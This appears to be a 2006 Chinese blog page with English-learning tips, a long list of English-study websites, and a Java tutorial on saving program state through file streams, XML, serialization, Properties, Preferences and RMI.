  8. Use a dictionary and grammar guide constantly. Keep a small English dictionary with you at all time. When you see a new word, look it up. Think about the word--use it. in your mind, in a sentence. 

      经常使用字典和语法指南。随身携带一本小英文字典,当你看到一个新字时就去查阅它,思考这个字——然后学着去用它,在你的心中,在一个句子里。 

      9. Try to think in English whenever possible. When you see something, think of the English word of it; then think about the word in a sentence. 

      一有机会就努力去用英文来思考。看到某事时,想想它的英文单词;然后把它用到一个句子中去。 

  10. Practice tenses as much as possible. When you learn a new verb, learn its various forms.A thousand words will not leave so an deep impression as one deed. 

   尽可能多的操练时态。学习一个动词的时候,要学习它的各种形态。千言万语不如一个行动 

     11. I would also like to learn more about the culture behind the language. When you understand the cultural background, you can better use the language. 

      我想学习和了解更多关于语言背后的文化知识,当你理解了文化背景,你就能更好地运用语言。 

  12.Keep an English journal.Try to write a few sentences about your day and then blurt them out as many times as possible before you go to sleep. This will teach you to “think” in English. This habit will also help you live a move organized and fruitful life. Besides, you will score higher on your composition exams! 

  坚持写英语日记。写几个句子描述一下你的一天,然后在睡觉前尽可能多地大声操练。这个方法可以教会你用英语“思考”。这个习惯还可以帮助你生活得更有条理、更有成效。此外,考试时作文你也可以拿更高的分! 

  13.Choose materials that interest you! Reading about things that you like will naturally make learning more enjoyable and efficient. Everything is easier if you enjoy doing it! 

  选择让你感兴趣的资料!阅读你喜欢的东西自然会使学习变得更愉快、更有效。你喜欢做,事情就会更容易! 

  14.Make your friends proud by teaching them some English sentences. You can become an excellent teacher through tutoring your friends. Teaching is a great way to learn! Also remember, learning English can make people happier, feel younger and live longer! 

  教你的朋友们英语,让他们感到骄傲。教朋友的过程中你会成为一名出色的老师。教学是学习的极好途径!别忘了,英语学习会让人更快乐、更年轻、活得更长久! 

  15.Don't be afraid to ask for help. The more times you ask for help, the more powerful your English will become. Never hesitate to ask! Learn as much as you can from as many different people as you can! An eager student will always find a teacher! 

  不要害怕寻求帮助。你请求别入帮越多的忙,你的英语就会越厉害。不要犹豫,尽管发问!尽可能从不同的人身上学到更多的东西!求知欲强的学生总是会找到老师! 

  16.Keep English constantly in your mind by listening, speaking of reading every day! Constant exposure will make it much easier to master this language. If you review only once a week, you will have a hard time remembering what you’ve learned. 

  每天听,每天说,每天读,让英语时刻留在你脑中!持续的接触会让你更容易掌握这门语言。如果你只是一个星期复习一回,要记住你学的东西就太难了。 

  17.Keep a positive attitude about English. If you think of English as a burden, it will be one! If you think of English as fun and exciting, you will practice more often and make progress more quickly! 

  学英语要有积极的态度。如果你认为英语是个负担,它就是个负担!如果你认为英语有趣又刺激,你就会更经常地练习,进步得更快! 

  18.Learning any language takes a lot of effort, but never give up. We will hew out of the mountain of despair a stone of hope! 

      学习任何语言都是需要花费很多努力,但绝不要放弃。从绝望中寻找希望,人生终将辉煌! 


D
posted @ 2006-05-27 17:36 MEYE 阅读(363) | 评论 (0)编辑 收藏
发贴心情
世界上最好的帖子, 经典网址合并于此
1、搜索网站:
  http://www.google.com 全球最强大的搜索网站。在语言学习中,它的功能至少包括:
  搜索新词可用之语境、确认某种搭配或用法是否准确、通过同时输入中文及"English"寻找可能存在的双语介绍、查询文学作品译本、了解某一类事物的相关知识等。
  http://www.yahoo.com 雅虎分类检索。
  
2、汉英、英汉、英英、汉汉词典:
  http://www.iciba.net/ 金山词霸网站,可以下载部分字典软件的共享版,英汉之间各种转换都有。词条数一般在百万以上。建议还是直接去买软件好,作为案头常备工具,还可随点随译。
  http://sunrain.net/ 太阳雨汉英英汉词典,内容丰富,可以添加词汇,并有水平不错的论坛。
  http://www.m-w.com/ 韦氏大词典,英英,韦氏字典家族尽览。
  http://www.thesaurus.com/
http://www.dictionary.com 综合词典,同义词/反义词,分类,英英。
  http://dico.isc.cnrs.fr/dico/en/search 同义词电子词典,英英。
  
3、百科辞典
  http://www.bartleby.com/reference/ 美国最大的免费在线参考网站。下有Columbia Encyclopedia, Roget's Thesauri, American Heritage Dictionary, Columbia History of English and American Literature等众多参考词典。更新快,内容丰富。英文。
  http://www.encycolpedia.com 在线简明哥伦比亚百科全书,有5万多词条。英文。
  http://education.yahoo.com/reference/encyclopedia/index.html 在线简明牛津百科全书。英文。
  http://s9.com/biography/search.html 人名词典,可通过名字、关键词或时间查询28,000位世界著名人物的简要介绍。英文。
  http://www.getty.edu/research/tools/vocabulary/tgn/index.html 地名大词典。英文。
  http://www.db66.com/index.shtm 新近开通的知识在线,号称网上最大中文知识库,有世界知识、中国文物、音乐、体育、历史等百科全书。需要注册。
  http://www.xingfusi.com/fxd/lookup.htm 六合一佛学大词典,每个词条都有详介及英语译法。
  http://www.al-islam.org/encyclopedia/index.html 英文伊斯兰教百科全书。
  http://www.carm.org/dictionary.htm 英文基督教神学词典。
  http://www.ask.com/ 最常用的提问网站,可以通过查询分类查找问题答案,也可上帖提问。
  
4、翻译
  http://www.bilinguist.com 汉英论坛,高手云集,可上贴提问,回答率高。
  http://www.chinatranslate.net 中国翻译网,号称全国最大的翻译专业网站。知识全面,但更新较慢。
  http://gb.transea.com/ 机器即时翻译,适合整体翻译网站及段落,但不够准确。适合一般人。
  http://www.cn-trans.com/ 译者俱乐部,个人网站,其精选短文与翻译论坛尚可。更新慢。
  http://www.jbfeng.com 自由翻译者冯京葆的个人网站,包括翻译知识、译坛趣事等。更新慢。
  http://www.rahul.net/lai/companion.html 翻译者家庭助手。英文。
http://www.word2word.com/free.html 免费网上翻译服务
www.worldLingo.com 免费网上翻译服务

  
5、语法、阅读、教学、写作
  http://wfwok.topcool.net/grammar.htm 比较详尽的语法教程,包括练习,可下载。
  http://home.njenet.net.cn/ewriting/w/ewriting.htm 东南大学研究生写作课程,只有7单元,对提高阅读和写作能力却很有帮助。
  http://www.edufind.com/english/grammar/subidx.cfm 英文在线教学网站的语法部分,120条。
  http://www.englishchina.com/ 英语中国,有丰富的站点链接,更新较慢。
  http://webster.commnet.edu/writing/writing.htm 英文写作助手。多种国外资源链接。
  
6、社区、听力、口语、演讲
  http://www.crazyenglish.org 疯狂英语俱乐部。英语学习方法、教程、各种最新资料。
  http://www.hongen.com/eng/index.htm 洪恩在线。英语学习社区。外教讲座。
  http://edu.china.com/zh_cn/elearn/second/test/index.html 提高英语听力的方法。
  http://www.tingli.com/ 听力网,众多时文,可下载收听,用REALPLAYER。
  http://www.listeningexpress.com/ 部分VOA、BBC、NCE的听力材料.
  http://yyenglish.myrice.com/pages/data1.htm 羊羊的听力资料库,网况良好时请多多下载。
  http://www.un.org/av/ 联合国广播,需待网况良好时使用。
  http://broadcast.yahoo.com雅虎广播站,多个频道。需相应网速。
  http://www.historychannel.com/speeches/ 美国历史频道演说集,需要REALPLAYER。
  http://www.americanrhetoric.com/speechbank.htm 强大的名人演说集(文本+录音)。可搜索。
http://library.westmont.edu/bibinst/Search...惭萁擦废白试础?/a>
  http://www.lunli.com/index.html 赛博风:在网络中听英语(EXCELLENT)
  http://www.listeningexpress.com/ 英语听力特快
    
7. 综合类
  http://www.360abc.com/ 世博英语
  http://www.icansay.com/ 英文锁定, 精彩我来说
  http://language.chinadaily.com.cn/index.html chinadaily--Language Tips
  http://groups.google.com/groups? ... .humor.funny.reruns 英语笑话NEWSGROUP,都是精品
  http://english.chinaschool.net/main.html 天天英语
  http://www.chineseworld.com/publish/37_9999.r/r.asp 世界日报-生活美语
  http://www.iselong.com/ 万千英语族
  http://www.englishww.com/ 旺旺英语
  http://www.5ixx.com/ 51XX英语资料下载
  
8. 英语考试
  专门是针对各种英语考证TOFEL,GRE,GMAT,IELTS,ESL www.51ielts.com
  ESL 学习
http://www.eslweb.net/
  DOWNDOWDOWN -很多可下载考试资料 http://www.downdowndown.net
  寄托天下 www.gter.net
  托福上游 http://vip.6to23.com/toptoefl/
  太傻 http://www.taisha.org/
  Test Tutor http://www.testtutor.com
  免费学习GRE的好网站(E) www.number2.com
  TestMagic.com(E) http://www.testmagic.com/
  
9. 英语电台 这类专门是提供各种优质英语电台
  http://webcri.cri.com.cn:8000/news/expenew 中国国际广播电台英文页
  http://210.77.152.231/dianbo.asp 中央人民广播电台第二套节目 阳光英语时段,包括〈大家说英语〉和〈初级美国英语〉 网上随时听!!!
  http://www.cnradio.com 中央台第一套网络直播节目每晚 22:30 空中英语教室(一、三、五);美国英语教程 (二、四、六)。中央台第二套网络直播节目每天清晨 6:00 阳光英语!
  http://www.shanghai-window.com/sbc/abc/teach/index.html 上海人民广播电台 英语教室
  http://www.taichungnet.com.tw/home/live.ram 台湾台中生活资讯广播 每天清晨6:00---7:00 《大家说英语》《英语空中教室》
  http://www.csbc.com.tw/menu8.htm 台湾正声广播公司 FM调频台Windows media Player 按时LIVE 收听 清晨:06:00--07:00 〈What's up What's new> <大家说英语〉 晚间:21:30--23:30 〈大家说英语〉〈空中美语文摘(高级)〉〈我爱英文杂志广播课程〉〈活用空中美语〉
  http://www.twr.org.hk/gb/OnAirF.html 香港环球电台学英语节目〈轻轻松松学英语〉内容丰富,趣味横生 主持人:安平
  http://www.dwelle.de/chinese/Welcome.html 德国之声,这是我听到的音质最好的网络广播!有德语教学
  http://www.rcinet.ca/Scripts/default.asp?s1=CoursDeLangues 加拿大对华广播,有英语教学和法语教学
  http://www.abc.net.au/ra/mand/education/default.htm 澳洲对华广播,有英语教学
  http://www.rfi.fr/ 法国对华广播,收听法广新闻,世界就在你家里!
  http://www.voa.gov/chinese/ 美国之音,有英语教学(需要代理访问)
  http://news.bbc.co.uk/hi/chinese/learn_english/default1.stm 英国BBC,BBC的英语教学办得最好!(需要代理访问)
  http://rki.kbs.co.kr/Chinese/index.asp 南韩网络广播中文页,有韩国流行音乐!!!TOP TEN 立体声REALPLAYER收听,大量影 音资料,棒极了!!!
  http://www.raweb.com.tw/ 全球地方网络广播大全!点击之间,你能听到来自世界各个城市广播电台的即时声音,有 瞬间置身异域之感!个别电台没有声音,你可以在打开Listen Live的REAL地址里,找到所属电台的主页.
  http://www.rsi.com.sg/ch/ 新加坡国际广播电台,有英语教学,双 语 桥 系 列,Windows media Player收听。
  http://www.cctv.com/life/hopeeng/2001NO10/lookworld.html CCTV央视希望英语杂志,双语页面!同步电视节目:二套周日19:00首播 一套周六16:10重播
  http://www.rthk.org.hk/special/ome/watch.htm 香港无线翡翠台《英语一分钟》
  http://www.cts.com.tw 台湾华视 《英语教学》及《英语听讲练习》,《每日一句英语》等。。。有课程下载!
  
  多伦多电视台 http://211.101.4.110/chuanyu/51ielts/tv/duolunduo.htm
  温哥华晚间新闻 http://211.101.4.110/chuanyu/51ielts/tv/wengehua.htm
  澳大利亚音乐电视 http://211.101.4.110/chuanyu/51ielts/tv/aumusic.htm
  CCTV9(English) http://211.101.4.110/chuanyu/51ielts/tv/cctv9.htm
  news 1130 http://207.194.6.179/ckwx.asx
  98.1 CHFI: http://www.chfi.com/audio/chfi.asx offers contests, special features, a music chart, and more
  KOL fm: http://members.home.net/waveradio/listenli...en/wavelive.m3u
CFRB1010: http://www.cfrb.com/cfrb.asx includes news, sports, traffic, and weather.
  Kiss 92: http://kiss92.fm/ciss/content/mediaplayer/...index-kiss.html KISS92 Toronto's #1 Music Station
  Fan590: http://livefan.tetraconnect.com/livefan great news, talk, feature and live event programming.
  
10. 中国 常用背景材料(外交、政治、经济、文化)
  http://www.fmprc.gov.cn 外交部网站。双语,有针对各国的外交政策及概况等,案头必备。
  http://www.moftec.gov.cn 外经贸网站。双语,了解我国对外经贸情况必备。翻译园地颇具规模。
  http://www.peopledaily.com.cn/item/zgjgk/main.html 中国机构及主要领导人资料。有英文。
  http://www.china.com.cn www.china.org.cn )中国互联网信息中心,由国新办合外文局领导。多语言网站。有中国知识、政府白皮书、中国文化产业报告等。
  http://www.ccnt.com.cn 中华文化信息网,由文化部领导,综合性强。英文部分属<中国文化艺术丛书>之英译本。
  http://www.chinavista.com/entravel/culture.php 介绍中国文化的双语网站,语言地道,内容丰富,包括各种菜谱等。但更新不快。
  http://www.chinapage.com/classic1.html 中国典籍,部分有英文版,特别是四书。
  
12、国际 常用背景材料(外交、政治、经济、文化)
  http://www.un.org 联合国。五种语言对照。包括新闻、发言、文件、活动等大量内容。
  http://www.unesco.org 联合国教科文组织。五种语言。材料丰富。
  http://www.europa.eu.int/index_en.htm 欧盟网站。
  http://www.oau-oua.org/ 非统组织。
  http://education.yahoo.com/reference/factbook/ 雅虎的世界知识网站,综合性强。
  http://www.countryreports.org/ 介绍世界各国情况的英文网站,有地区论坛。
  http://www.ispa.org 国际演艺界协会。有世界艺术网站链接。
  http://whitehouse.gov 美国白宫。了解美国政治必备。
  
13、 主要媒体、英语杂志
  http://www.peopledaily.com.cn 人民日报。多种语言。背景知识丰富。旗下多个热门论坛,包括英文论坛ChinaForum。
  http://www.xinhuanet.com/english 新华社。新闻量丰富,分类详尽。多种语言。
  http://www.chinadaily.com.cn 中国日报。国内最大英语新闻媒体。适合新闻搜索。
  http://www.cri.com.cn 中国国际广播电台。多种语言。内容丰富。文化内容多。下载方便。
  http://www.cctv.com.cn 央视国际网站。可提前一周下载节目预告。英语频道纪录片不错。
  http://www.scmp.com/ 香港南华早报。英文报纸,需注册。
  http://www.zaobao.com/bilingual/bilingual.html 新加坡《联合早报》汉英双语专辑,既有关于当代英语用法的讨论,也可了解亚洲人对于世界的若干观点。
  http://www.iht.com/frontpage.html 国际先驱论坛报。英文。
  http://www.worldpress.org/index.shtm 世界新闻综合评论。英文。
  http://www.nytimes.com 纽约时报。需要注册。英文。
  http://www.feer.com/ 远东经济评论。英文。
  http://dsc.discovery.com/ 探索杂志。
  http://www.nationalgeographic.com/ 美国国家地理杂志。
  http://www.discover.com <发现>科学月刊。英文。
  http://www.aldaily.com 世界文化、艺术、出版界动态及丰富的评论与知识。强大链接。英文。
  http://www.newyorker.com <纽约客>文化评论杂志
14.中英文歌词对照
http://www.english.ac.cn/songs/index.htm
http://music.liuxuan.com
15. 看童话,学英语!
http://www.fairybay.com.cn/jialin
16. 赴美留学网站
www.pku.edu.cn/resource/university/university.html
www.petersons.com/graduate/galpha.html
www.itc.com.cn/Foreign/college/state.html
www.liuxueguide.com/
www.usnews.com/usnews/edu/grad99/
www.studyabroad.com
www.SchoolsintheUSA.com (Undergraduate US programs)
www.GradSource.com (Graduate schools in Canada and the US)

www.GraduateBusiness.com(Graduate business and management programs)

www.GradSciEng.com (Graduate engineering and sciences programs)

www.GradFineArts.com (Graduate fine arts programs)

www.GraduateHealth.com (Graduate nursing and health programs)

www.GradEducation.com (Graduate teacher education programs)

www.CampusStarter.com
www.studyusa.com
www.usastudyguide.com
www.embark.com/grad/Choose/intro.asp
17. 法律英语词典
www.dictionary.law.com
18. 词汇学习网站
http://www.hungryforwords.com
S
posted @ 2006-05-27 17:19 MEYE 阅读(836) | 评论 (1)编辑 收藏
存取程序状态的几种方法--Java I/O应用杂谈

jungleford如是说

  已经有一个多月没有搭理blog了,原因很多,譬如实验室的项目正在收工,巨忙;譬如找工作及其相关的事情;而且二月份大部分时间是陪老爹老妈,家里拨号的速度可想而知……但主要还是没有找到一个合适的topic,或者说这段时间懒了(临毕业前期综合症),净在看《汉武大帝》和历史方面的书,还有其它乱七八糟的闲书,就是没有认真地玩Java,哈哈!现在工作差不多落实了,好在不算太烂,小资青年jungleford的生活又开始步入正轨了!以上是新年里的一些废话。
  今天稍微聊一点关于“程序状态保存”方面的问题,我们很容易就会想到“序列化”(Serialization,有的书上又翻译为“顺序化”或者“串行化”,但“串行”一词总是让我联想到通信和硬件接口,所以我更习惯于“序列化”的叫法,何况这种叫法是有来头的,后面我会谈到这个名称的由来),当然,序列化是一种方便有效的数据存取方式,但它还有更加广泛的应用。广义上讲,就是讨论一下I/O的一些应用。

文件I/O:文件流→序列化

★文件流
  文件操作是最简单最直接也是最容易想到的一种方式,我们说的文件操作不仅仅是通过FileInputStream/FileOutputStream这么“裸”的方式直接把数据写入到本地文件(像我以前写的一个扫雷的小游戏JavaMine就是这样保存一局的状态的),这样就比较“底层”了。

主要类与方法和描述

FileInputStream.read() //从本地文件读取二进制格式的数据
FileReader.read() //从本地文件读取字符(文本)数据
FileOutputStream.write() //保存二进制数据到本地文件
FileWriter.write() //保存字符数据到本地文件

★XML
  和上面的单纯的I/O方式相比,XML就显得“高档”得多,以至于成为一种数据交换的标准。以DOM方式为例,它关心的是首先在内存中构造文档树,数据保存在某个结点上(可以是叶子结点,也可以是标签结点的属性),构造好了以后一次性的写入到外部文件,但我们只需要知道文件的位置,并不知道I/O是怎么操作的,XML操作方式可能多数人也实践过,所以这里也只列出相关的方法,供初学者预先了解一下。主要的包是javax.xml.parsers,org.w3c.dom,javax.xml.transform。

主要类与方法和描述

DocumentBuilderFactory.newDocumentBuilder().parse() //解析一个外部的XML文件,得到一个Document对象的DOM树
DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument() //初始化一棵DOM树
Document.getDocumentElement().appendChild() //为一个标签结点添加一个子结点
Document.createTextNode() //生成一个字符串结点
Node.getChildNodes() //取得某个结点的所有下一层子结点
Node.removeChild() //删除某个结点的子结点
Document.getElementsByTagName() 查找所有指定名称的标签结点
Document.getElementById() //查找指定名称的一个标签结点,如果有多个符合,则返回某一个,通常是第一个
Element.getAttribute() //取得一个标签的某个属性的的值
Element.setAttribute() //设置一个标签的某个属性的的值
Element.removeAttribute() //删除一个标签的某个属性
TransformerFactory.newInstance().newTransformer().transform() //将一棵DOM树写入到外部XML文件

★序列化
  使用基本的文件读写方式存取数据,如果我们仅仅保存相同类型的数据,则可以用同一种格式保存,譬如在我的JavaMine中保存一个盘局时,需要保存每一个方格的坐标、是否有地雷,是否被翻开等,这些信息组合成一个“复合类型”;相反,如果有多种不同类型的数据,那我们要么把它分解成若干部分,以相同类型(譬如String)保存,要么我们需要在程序中添加解析不同类型数据格式的逻辑,这就很不方便。于是我们期望用一种比较“高”的层次上处理数据,程序员应该花尽可能少的时间和代码对数据进行解析,事实上,序列化操作为我们提供了这样一条途径。
  序列化(Serialization)大家可能都有所接触,它可以把对象以某种特定的编码格式写入或从外部字节流(即ObjectInputStream/ObjectOutputStream)中读取。序列化一个对象非常之简单,仅仅实现一下Serializable接口即可,甚至都不用为它专门添加任何方法:

public class MySerial implements java.io.Serializable
{
//...
}

但有一个条件:即你要序列化的类当中,它的每个属性都必须是是“可序列化”的。这句话说起来有点拗口,其实所有基本类型(就是int,char,boolean之类的)都是“可序列化”的,而你可以看看JDK文档,会发现很多类其实已经实现了Serializable(即已经是“可序列化”的了),于是这些类的对象以及基本数据类型都可以直接作为你需要序列化的那个类的内部属性。如果碰到了不是“可序列化”的属性怎么办?对不起,那这个属性的类还需要事先实现Serializable接口,如此递归,直到所有属性都是“可序列化”的。

主要类与方法和描述

ObjectOutputStream.writeObject() //将一个对象序列化到外部字节流
ObjectInputStream.readObject() //从外部字节流读取并重新构造对象

  从实际应用上看来,“Serializable”这个接口并没有定义任何方法,仿佛它只是一个标记(或者说像是Java的关键字)而已,一旦虚拟机看到这个“标记”,就会尝试调用自身预定义的序列化机制,除非你在实现Serializable接口的同时还定义了私有的readObject()或writeObject()方法。这一点很奇怪。不过你要是不愿意让系统使用缺省的方式进行序列化,那就必须定义上面提到的两个方法:

public class MySerial implements java.io.Serializable
{
private void writeObject(java.io.ObjectOutputStream out) throws IOException
{
  //...
}
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException
{
  //...
}
//...
}

  譬如你可以在上面的writeObject()里调用默认的序列化方法ObjectOutputStream.defaultWriteObject();譬如你不愿意将某些敏感的属性和信息序列化,你也可以调用ObjectOutputStream.writeObject()方法明确指定需要序列化那些属性。关于用户可定制的序列化方法,我们将在后面提到。

★Bean
  上面的序列化只是一种基本应用,你把一个对象序列化到外部文件以后,用notepad打开那个文件,只能从为数不多的一些可读字符中猜到这是有关这个类的信息文件,这需要你熟悉序列化文件的字节编码方式,那将是比较痛苦的(在《Core Java 2》第一卷里提到了相关编码方式,有兴趣的话可以查看参考资料),某些情况下我们可能需要被序列化的文件具有更好的可读性。另一方面,作为Java组件的核心概念“JavaBeans”,从JDK 1.4开始,其规范里也要求支持文本方式的“长期的持久化”(long-term persistence)。
  打开JDK文档,java.beans包里的有一个名为“Encoder”的类,这就是一个可以序列化bean的实用类。和它相关的两个主要类有XMLEcoder和XMLDecoder,显然,这是以XML文件的格式保存和读取bean的工具。他们的用法也很简单,和上面ObjectOutputStream/ObjectInputStream比较类似。

主要类与方法和描述

XMLEncoder.writeObject() //将一个对象序列化到外部字节流
XMLDecoder.readObject() //从外部字节流读取并重新构造对象

  如果一个bean是如下格式:

public class MyBean
{
int i;
char[] c;
String s;
//...(get和set操作省略)...
}

那么通过XMLEcoder序列化出来的XML文件具有这样的形式:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="MyBean">
  <void property="i">
    <int>1</int>
  </void>
  <void property="c">
    <array class="char" length="3">
    <void index="0">
      <int>a</int>
    </void>
    <void index="1">
      <int>b</int>
    </void>
    <void index="2">
      <int>c</int>
    </void>
    </array>
  </void>
  <void property="s">
    <string>fox jump!</string>
  </void>
</object>
</java>

  像AWT和Swing中很多可视化组件都是bean,当然也是可以用这种方式序列化的,下面就是从JDK文档中摘录的一个JFrame序列化以后的XML文件:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.0" class="java.beans.XMLDecoder">
<object class="javax.swing.JFrame">
  <void property="name">
    <string>frame1</string>
  </void>
  <void property="bounds">
    <object class="java.awt.Rectangle">
    <int>0</int>
    <int>0</int>
    <int>200</int>
    <int>200</int>
    </object>
  </void>
  <void property="contentPane">
    <void method="add">
    <object class="javax.swing.JButton">
      <void property="label">
        <string>Hello</string>
      </void>
    </object>
    </void>
  </void>
  <void property="visible">
    <boolean>true</boolean>
  </void>
</object>
</java>

  因此但你想要保存的数据是一些不是太复杂的类型的话,把它做成bean再序列化也不失为一种方便的选择。

★Properties
  在以前我总结的一篇关于集合框架的小文章里提到过,Properties是历史集合类的一个典型的例子,这里主要不是介绍它的集合特性。大家可能都经常接触一些配置文件,如Windows的ini文件,Apache的conf文件,还有Java里的properties文件等,这些文件当中的数据以“关键字-值”对的方式保存。“环境变量”这个概念都知道吧,它也是一种“key-value”对,以前也常常看到版上问“如何取得系统某某信息”之类的问题,其实很多都保存在环境变量里,只要用一条

System.getProperties().list(System.out);

就能获得全部环境变量的列表:

-- listing properties --
java.runtime.name=Java(TM) 2 Runtime Environment, Stand...
sun.boot.library.path=C:\Program Files\Java\j2re1.4.2_05\bin
java.vm.version=1.4.2_05-b04
java.vm.vendor=Sun Microsystems Inc.
java.vendor.url=http://java.sun.com/
path.separator=;
java.vm.name=Java HotSpot(TM) Client VM
file.encoding.pkg=sun.io
user.country=CN
sun.os.patch.level=Service Pack 1
java.vm.specification.name=Java Virtual Machine Specification
user.dir=d:\my documents\项目\eclipse\SWTDemo
java.runtime.version=1.4.2_05-b04
java.awt.graphicsenv=sun.awt.Win32GraphicsEnvironment
java.endorsed.dirs=C:\Program Files\Java\j2re1.4.2_05\li...
os.arch=x86
java.io.tmpdir=C:\DOCUME~1\cn2lx0q0\LOCALS~1\Temp\
line.separator=

java.vm.specification.vendor=Sun Microsystems Inc.
user.variant=
os.name=Windows XP
sun.java2d.fontpath=
java.library.path=C:\Program Files\Java\j2re1.4.2_05\bi...
java.specification.name=Java Platform API Specification
java.class.version=48.0
java.util.prefs.PreferencesFactory=java.util.prefs.WindowsPreferencesFac...
os.version=5.1
user.home=D:\Users\cn2lx0q0
user.timezone=
java.awt.printerjob=sun.awt.windows.WPrinterJob
file.encoding=GBK
java.specification.version=1.4
user.name=cn2lx0q0
java.class.path=d:\my documents\项目\eclipse\SWTDemo\bi...
java.vm.specification.version=1.0
sun.arch.data.model=32
java.home=C:\Program Files\Java\j2re1.4.2_05
java.specification.vendor=Sun Microsystems Inc.
user.language=zh
awt.toolkit=sun.awt.windows.WToolkit
java.vm.info=mixed mode
java.version=1.4.2_05
java.ext.dirs=C:\Program Files\Java\j2re1.4.2_05\li...
sun.boot.class.path=C:\Program Files\Java\j2re1.4.2_05\li...
java.vendor=Sun Microsystems Inc.
file.separator=\
java.vendor.url.bug=http://java.sun.com/cgi-bin/bugreport...
sun.cpu.endian=little
sun.io.unicode.encoding=UnicodeLittle
sun.cpu.isalist=pentium i486 i386


主要类与方法和描述

load() //从一个外部流读取属性
store() //将属性保存到外部流(特别是文件)
getProperty() //取得一个指定的属性
setProperty() //设置一个指定的属性
list() //列出这个Properties对象包含的全部“key-value”对
System.getProperties() //取得系统当前的环境变量


  你可以这样保存一个properties文件:


Properties prop = new Properties();
prop.setProperty("key1", "value1");
...
FileOutputStream out = new FileOutputStream("config.properties");
prop.store(out, "--这里是文件头,可以加入注释--");

★Preferences
  如果我说Java里面可以不使用JNI的手段操作Windows的注册表你信不信?很多软件的菜单里都有“Setting”或“Preferences”这样的选项用来设定或修改软件的配置,这些配置信息可以保存到一个像上面所述的配置文件当中,如果是Windows平台下,也可能会保存到系统注册表中。从JDK 1.4开始,Java在java.util下加入了一个专门处理用户和系统配置信息的java.util.prefs包,其中一个类Preferences是一种比较“高级”的玩意。从本质上讲,Preferences本身是一个与平台无关的东西,但不同的OS对它的SPI(Service Provider Interface)的实现却是与平台相关的,因此,在不同的系统中你可能看到首选项保存为本地文件、LDAP目录项、数据库条目等,像在Windows平台下,它就保存到了系统注册表中。不仅如此,你还可以把首选项导出为XML文件或从XML文件导入。

主要类与方法和描述

systemNodeForPackage() //根据指定的Class对象得到一个Preferences对象,这个对象的注册表路径是从“HKEY_LOCAL_MACHINE\”开始的
systemRoot() //得到以注册表路径HKEY_LOCAL_MACHINE\SOFTWARE\Javasoft\Prefs 为根结点的Preferences对象
userNodeForPackage() //根据指定的Class对象得到一个Preferences对象,这个对象的注册表路径是从“HKEY_CURRENT_USER\”开始的
userRoot() //得到以注册表路径HKEY_CURRENT_USER\SOFTWARE\Javasoft\Prefs 为根结点的Preferences对象
putXXX() //设置一个属性的值,这里XXX可以为基本数值型类型,如int、long等,但首字母大写,表示参数为相应的类型,也可以不写而直接用put,参数则为字符串
getXXX() //得到一个属性的值
exportNode() //将全部首选项导出为一个XML文件
exportSubtree() //将部分首选项导出为一个XML文件
importPreferences() //从XML文件导入首选项

  你可以按如下步骤保存数据:

Preferences myPrefs1 = Preferences.userNodeForPackage(this);// 这种方法是在“HKEY_CURRENT_USER\”下按当前类的路径建立一个注册表项
Preferences myPrefs2 = Preferences.systemNodeForPackage(this);// 这种方法是在“HKEY_LOCAL_MACHINE\”下按当前类的路径建立一个注册表项
Preferences myPrefs3 = Preferences.userRoot().node("com.jungleford.demo");// 这种方法是在“HKEY_CURRENT_USER\SOFTWARE\Javasoft\Prefs\”下按“com\jungleford\demo”的路径建立一个注册表项
Preferences myPrefs4 = Preferences.systemRoot().node("com.jungleford.demo");// 这种方法是在“HKEY_LOCAL_MACHINE\SOFTWARE\Javasoft\Prefs\”下按“com\jungleford\demo”的路径建立一个注册表项
myPrefs1.putInt("key1", 10);
myPrefs1.putDouble("key2", -7.15);
myPrefs1.put("key3", "value3");
FileOutputStream out = new FileOutputStream("prefs.xml");
myPrefs1.exportNode(out);


网络I/O:Socket→RMI

★Socket
  Socket编程可能大家都很熟,所以就不多讨论了,只是说通过socket把数据保存到远端服务器或从网络socket读取数据也不失为一种值得考虑的方式。

★RMI
  RMI机制其实就是RPC(远程过程调用)的Java版本,它使用socket作为基本传输手段,同时也是序列化最重要的一个应用。现在网络传输从编程的角度来看基本上都是以流的方式操作,socket就是一个例子,将对象转换成字节流的一个重要目标就是为了方便网络传输。
  想象一下传统的单机环境下的程序设计,对于Java语言的函数(方法)调用(注意与C语言函数调用的区别)的参数传递,会有两种情况:如果是基本数据类型,这种情况下和C语言是一样的,采用值传递方式;如果是对象,则传递的是对象的引用,包括返回值也是引用,而不是一个完整的对象拷贝!试想一下在不同的虚拟机之间进行方法调用,即使是两个完全同名同类型的对象他们也很可能是不同的引用!此外对于方法调用过程,由于被调用过程的压栈,内存“现场”完全被被调用者占有,当被调用方法返回时,才将调用者的地址写回到程序计数器(PC),恢复调用者的状态,如果是两个虚拟机,根本不可能用简单压栈的方式来保存调用者的状态。因为种种原因,我们才需要建立RMI通信实体之间的“代理”对象,譬如“存根”就相当于远程服务器对象在客户机上的代理,stub就是这么来的,当然这是后话了。
  本地对象与远程对象(未必是物理位置上的不同机器,只要不是在同一个虚拟机内皆为“远程”)之间传递参数和返回值,可能有这么几种情形:

值传递:这又包括两种子情形:如果是基本数据类型,那么都是“可序列化”的,统统序列化成可传输的字节流;如果是对象,而且不是“远程对象”(所谓“远程对象”是实现了java.rmi.Remote接口的对象),本来对象传递的应该是引用,但由于上述原因,引用是不足以证明对象身份的,所以传递的仍然是一个序列化的拷贝(当然这个对象也必须满足上述“可序列化”的条件)。

引用传递:可以引用传递的只能是“远程对象”。这里所谓的“引用”不要理解成了真的只是一个符号,它其实是一个留在(客户机)本地stub中的,和远端服务器上那个真实的对象张得一模一样的镜像而已!只是因为它有点“特权”(不需要经过序列化),在本地内存里已经有了一个实例,真正引用的其实是这个“孪生子”。

  由此可见,序列化在RMI当中占有多么重要的地位。

数据库I/O:CMP、Hibernate

★什么是“Persistence”
  用过VMWare的朋友大概都知道当一个guest OS正在运行的时候点击“Suspend”将虚拟OS挂起,它会把整个虚拟内存的内容保存到磁盘上,譬如你为虚拟OS分配了128M的运行内存,那挂起以后你会在虚拟OS所在的目录下找到一个同样是128M的文件,这就是虚拟OS内存的完整镜像!这种内存的镜像手段其实就是“Persistence”(持久化)概念的由来。

★CMP和Hibernate
  因为我对J2EE的东西不是太熟悉,随便找了点材料看看,所以担心说的不到位,这次就不作具体总结了,人要学习……真是一件痛苦的事情

序列化再探讨

